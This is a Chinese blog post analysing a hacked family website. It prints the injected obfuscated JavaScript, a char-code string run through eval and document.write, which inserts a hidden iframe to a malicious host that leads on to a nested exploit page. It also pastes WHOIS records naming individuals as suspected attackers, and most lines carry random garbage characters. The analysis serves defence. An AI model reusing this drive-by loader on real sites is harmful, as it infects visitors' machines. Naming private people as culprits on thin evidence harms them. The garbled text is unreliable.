首发在我的博客里面，
q.FgX !YSAQi ;I http://www.areway.cn/?p=175 7 (^<Z5@ G!T)V2y zg2A$Fd[j 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
bwUsE U 0 xi8RE@gm <script>t=’60,105,102,114,97,109,101,
E{sTxO I$ 32,115,114,99,61,104,116,116,112,58,47,47,
|;ycEB1 102,114,101,101,46,117,45,117,117,117,46,99,
_H>ABo 110,47,101,114,114,111,114,46,104,116,109,
L B1 ui 32,119,105,100,116,104,61,49,48,48,32,104,
#K'3` dpL 101,105,103,104,116,61,48,62,60,47,105,102,
c 6@!?8J 114,97,109,101,62′;
2< )63[YO t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
F h9`8 .,(bDXl? <script>t=’60,105,102,114,97,109,101,32,115,
" AP'' XNi 114,99,61,104,116,116,112,58,47,47,102,114,
qCOv4b` 101,101,46,117,45,117,117,117,46,99,110,47,
>/nS<y> 101,114,114,111,114,46,104,116,109,32,119,
mza1Q~< 105,100,116,104,61,49,48,48,32,104,101,105,
r<c yxR~ 103,104,116,61,48,62,60,47,105,102,114,97,
b+yoD 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
J/8aDr (+ document.write(t);</script>
-MOPm]iA l;}D| 6+_W <html xmlns=”
)VQ:L:1t( http://www.w3.org/1999/xhtml Ox.&tW%@ “>
[[P?T^KT <head>
;!DUN zl <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
E9HA8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
P\KP )bkC <title>首页 - 爱生活家庭网
j!GJ$yd=-6 a{^ [< 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
>
n Y< J 转换字符串后的大概内容是（谁点击后果自付）：
9 "1 0:\U <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_ $PZID ,n TC7V 查询玉米u-uuu.cn的详细信息：
'm}K$h (U Domain Name: u-uuu.cn
ZW }*]rg ROID: 20070901s10001s64972306-cn
y _M<\b Domain Status: ok
5 :6^533] Registrant Organization: 王雷
H`C DfTy Registrant Name: 王雷
"pdmz+k8S Administrative Email:
czlovexs@126.com CdlE"Ye Sponsoring Registrar: 北京万网志成科技有限公司
"{105&c\ Name Server:ns.yovole.com
gN$.2+: Name Server:ns1.yovole.com
>Jt,TMMlt Registration Date: 2007-09-01 17:54
cOcF VPQ Expiration Date: 2008-09-01 17:54
p;`jmF
最后PING了一下地址 都没有什么….
0R AmwfXm 2MQgTFM9 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
&Z/aM? <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
z]^&^VFu <script language=”javascript” src=”
a_4 Ny http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KRQK L`}} >
4\4onCzuT 这个玉米应该有可能是木马作者的：
j hrmQS foafau.info的详细信息：
4YM!S E-I Access to INFO WHOIS information is provided to assist persons in
=i } determining the contents of a domain name registration record in the
~Wjm"|c Afilias registry database. The data in this record is provided by
7tMV*{+Z Afilias Limited for informational purposes only, and Afilias does not
I]bqle0M guarantee its accuracy. This service is intended only for query-based
evNo(U\ C access. You agree that you will use this data only for lawful purposes
1%Xwk2l,8b and that, under no circumstances will you use this data to: (a) allow,
uFOxb}a9v enable, or otherwise support the transmission by e-mail, telephone, or
m5Q,RwJ!xK facsimile of mass unsolicited, commercial advertising or solicitations
(xpj?zlmM to entities other than the data recipient’s own existing customers; or
=` [ 08 (b) enable high volume, automated, electronic processes that send
wx n D3 queries or data to the systems of Registry Operator, a Registrar, or
^5j| Afilias except as reasonably necessary to register domain names or
/"+YE&>\ modify existing registrations. All rights reserved. Afilias reserves
'; ,DgR;' the right to modify these terms at any time. By submitting this query,
ne] |\] you agree to abide by this policy.
n3t1'_/TU} Domain ID:D22418703-LRMS
h
1G` z Domain Name:FOAFAU.INFO
v]\io#
Created On:20-Nov-2007 16:05:42 UTC
eyf\j,xP& Last Updated On:20-Nov-2007 16:05:44 UTC
0ohpJh61Q Expiration Date:20-Nov-2008 16:05:42 UTC
1OK, r` Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
S .rlF1` Status:CLIENT DELETE PROHIBITED
L&ySX c= Status:CLIENT RENEW PROHIBITED
=k6zUw;5 U Status:CLIENT TRANSFER PROHIBITED
}Iz'#I
Xx Status:CLIENT UPDATE PROHIBITED
MO &QR-OY Status:TRANSFER PROHIBITED
S`gUSYS"w Registrant ID:GODA-040110615
r,X5@ / Registrant Name:liu hong
z=:<]j#= Registrant Organization:
0g O<]]M? Registrant Street1:beijing
6Ae < W7 Registrant Street2:
W.TZU'% Registrant Street3:
( iM"ug2 Registrant City:beijing
g^@ Kx5O\ Registrant State/Province:
Nl3 x
BM% Registrant Postal Code:100000
j 9Ptd $Uj Registrant Country:CN
2.Cj jI Registrant Phone:+86.860108888777
?9xaBWf Registrant Phone Ext.:
?F]Yebp^ Registrant FAX:
$Nvt :X_ Registrant FAX Ext.:
y
E-H-r~I Registrant Email:bbbshiji@163.com
8Kt_irD Admin ID:GODA-240110615
=8O057y Admin Name:liu hong
#Ki(9oWd Admin Organization:
e Ki/Mt
Admin Street1:beijing
Fj}|uiOQUS Admin Street2:
i*B@#;;F Admin Street3:
s `fIeP Admin City:beijing
u,e'5,`N Admin State/Province:
P3V= DOG" Admin Postal Code:100000
BV,P;T0"D Admin Country:CN
|6 w.m<p Admin Phone:+86.860108888777
c9imfA+e Admin Phone Ext.:
&Q O~p3M Admin FAX:
BoZ])Y6= Admin FAX Ext.:
P/sn zm|@ Admin Email:bbbshiji@163.com
^N}zePy0 Billing ID:GODA-340110615
rU<NHFGj4 Billing Name:liu hong
s'' ?:
+ Billing Organization:
hNs970i Billing Street1:beijing
D,%R[F? 5O Billing Street2:
Ug0 2G Billing Street3:
qYv/"
1 Billing City:beijing
*5Upb,* * Billing State/Province:
T.O^40y Billing Postal Code:100000
s2A3.S N Billing Country:CN
|P7c { Billing Phone:+86.860108888777
S'M=P_-7 Billing Phone Ext.:
!c-Ie~GIT Billing FAX:
Ci6yH( RE Billing FAX Ext.:
HPl!r0 h Billing Email:bbbshiji@163.com
834(kw+#9 Tech ID:GODA-140110615
E6a$c`H @? Tech Name:liu hong
iL(rZT&^ Tech Organization:
3 "=% [ Tech Street1:beijing
g.OBh_j-v Tech Street2:
&EKP93
Tech Street3:
; @p2s'( Tech City:beijing
OrP-+ eg Tech State/Province:
sW!pMkd_ Tech Postal Code:100000
#k2&2W=x Tech Country:CN
j~,7JJ
(y Tech Phone:+86.860108888777
)R$+ dPu> Tech Phone Ext.:
-BUxQ8/, Tech FAX:
aiVd ^( Tech FAX Ext.:
q<` YJ, Tech Email:bbbshiji@163.com
TxAT )) Name Server:NS27.DOMAINCONTROL.COM
&os9K) Name Server:NS28.DOMAINCONTROL.COM
9 2_F 8y*D Name Server:
# D"TY-$.= Name Server:
T P' Name Server:
9n{tbabJ Name Server:
hZ2!UW4' Name Server:
F{}m lQg Name Server:
f1MKYM%^x Name Server:
>B (%$jG Z Name Server:
!GI*R2<W Name Server:
c mgI,n-o? Name Server:
*Wk y# Name Server:
, 9<}V;( 2%4dA$H#4w 接着下载每个文件里面的代码：
_[;>V*?zp5 一步一步看..
< >$`vuU 
)&:4//}a 
=H6"\`W 
vaL+@Kq~& 
58\rl G 
v#*9rNEj 0 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
